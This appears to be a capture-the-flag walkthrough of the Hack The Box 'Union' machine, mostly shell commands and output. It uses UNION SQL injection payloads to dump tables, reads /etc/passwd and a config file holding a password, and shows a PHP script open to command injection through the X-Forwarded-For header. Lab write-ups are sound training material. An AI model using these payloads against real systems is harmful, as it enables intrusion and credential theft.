$ nmap -sV -sC -p- -PN -oA union_nmap 10.10.11.128
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-09 05:56 CEST
Nmap scan report for 10.10.11.128
Host is up (0.021s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
No open UDP ports were found.
There is a simple PHP web site running on port 80:
Entering any value in the player name box returns the following message:
The link points to /challenge.php, which is another simple page:
Submitting anything to the form just returns the same page.
A quick check with FFuF also confirms there are no other pages of interest on the site:
From the looks of it, the Player Eligibility Check form is the only form that does anything on the site. Assuming there is a database backend, it likely checks eligibility using a query like the following:
$ curl http://10.10.11.128/index.php -X POST -d "player=test'"
Congratulations test' you may compete in this tournament!<br /><br />Complete the challenge <a href="/challenge.php">here</a>
$ curl http://10.10.11.128/index.php -X POST -d "player=ippsec"
Sorry, ippsec you are not eligible due to already qualifying.
By the reponse in the second query, it looks like the application is doing some filtering that succeeds at picking up the payload and blocking it.
An injection type that should work here is a UNION injection. Given that the response is only a single value from a single column (rather than multiple values for a table), there shouldn't be any need to pad the query with blank fields to match the number of columns in the table.
This can be confirmed by attempting to inject two queries, one for a single column and one for two columns:
$ curl http://10.10.11.128/index.php -X POST -d "player=test' UNION SELECT 1-- -"
Sorry, 1 you are not eligible due to already qualifying.
$ curl http://10.10.11.128/index.php -X POST -d "player=test' UNION SELECT 1,2-- -"
Congratulations test' union select 1,2-- - you may compete in this tournament!<br /><br />Complete the challenge <a href="/challenge.php">here</a>
The difference between the two responses is that in the first response, the application displays the result of the UNION SELECT 1 query, while in the second case the query errors out.
Given the above, the following payload can be used to extract the DBMS version:
$ curl http://10.10.11.128/index.php -X POST -d "player=test' UNION SELECT @@VERSION-- -"
Sorry, 8.0.27-0ubuntu0.20.04.1 you are not eligible due to already qualifying.
Note
This only works if the player isn't already registered:
$ curl http://10.10.11.128/index.php -X POST -d "player=ippsec' UNION SELECT @@VERSION-- -"
Sorry, ippsec you are not eligible due to already qualifying.
The reason is that only the first result of the query is shown. Since the DMBS succeeds in finding a previously registered player, the result from the SQLi payload is effectively hidden, making it appear as if it was unsuccessful.
The next step is to enumerate available databases. Using the GROUP_CONCAT() function, output from multiple rows can be concatenated into a single string:
$ curl http://10.10.11.128/index.php -X POST -d "player=test' UNION SELECT group_concat(schema_name) FROM information_schema.schemata-- -"
Sorry, mysql,information_schema,performance_schema,sys,november you are not eligible due to already qualifying.
The output can be cleaned up by piping it to the following sed expression: sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'.
The application uses the november database. Enumerating it further by extracting the tables:
$ curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION select GROUP_CONCAT(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema='november'-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'
flag,players
$ curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION select GROUP_CONCAT(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where table_name='players'-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'
player
$ curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION select GROUP_CONCAT(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where table_name='flag'-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'
one
Enumerating the players table by selecting the player column:
$ curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION select GROUP_CONCAT(player) from november.players-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'
ippsec,celesian,big0us,luska,tinyboy
curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION select GROUP_CONCAT(one) from november.flag-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'
UHC{F1rst_5tep_2_Qualify}
Submitting the flag to the form on the website opens SSH access to the target:
The MySQL user has file read pemissions, allowing file exfiltration through the SQLi vulnerability:
$ curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION SELECT LOAD_FILE('/etc/passwd')-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
htb:x:1000:1000:htb:/home/htb:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
uhc:x:1001:1001:,,,:/home/uhc:/bin/bash
Going back to the fuzzing at the start of the enumeration, there should be four PHP scripts in /var/www/html that can be exfiltrated. Of these, config.php is most likely to contain sensitive information:
$ curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION SELECT LOAD_FILE('/var/www/html/config.php')-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'
<?php
session_start();
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
Used the password above to log in to the target over SSH and get the user flag.
Lateral Movement
uhc appears to be a low-privileged user with no particular privileges. There are no unusual or vulnerable applications or services running on the target.
Having shell access does make enumerating the web application from before easier. In particular, the firewall.php script that handles allowing SSH access to qualified players has a vulnerability in how it does this:
... <div class="container p-5"><?phpif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{$ip=$_SERVER['REMOTE_ADDR'];};system("sudo /usr/sbin/iptables -A INPUT -s ".$ip." -j ACCEPT");?> <h1 class="text-white">Welcome Back!</h1> <h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>...
In the if statement above, the script checks if the X-Forwarded-For header is set. If it is, it sets the value of $ip to the contents of the header and passes the variable to iptables. The critical vulnerability is that it does so without any input validation. And, although X-Forwarded-For is intended to be used for passing an IP address, the header is fully under the user's control, and can in this case be used for injecting an OS command.
www-data@union:~/html$ sudo -l
Matching Defaults entries for www-data on union:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on union:
(ALL : ALL) NOPASSWD: ALL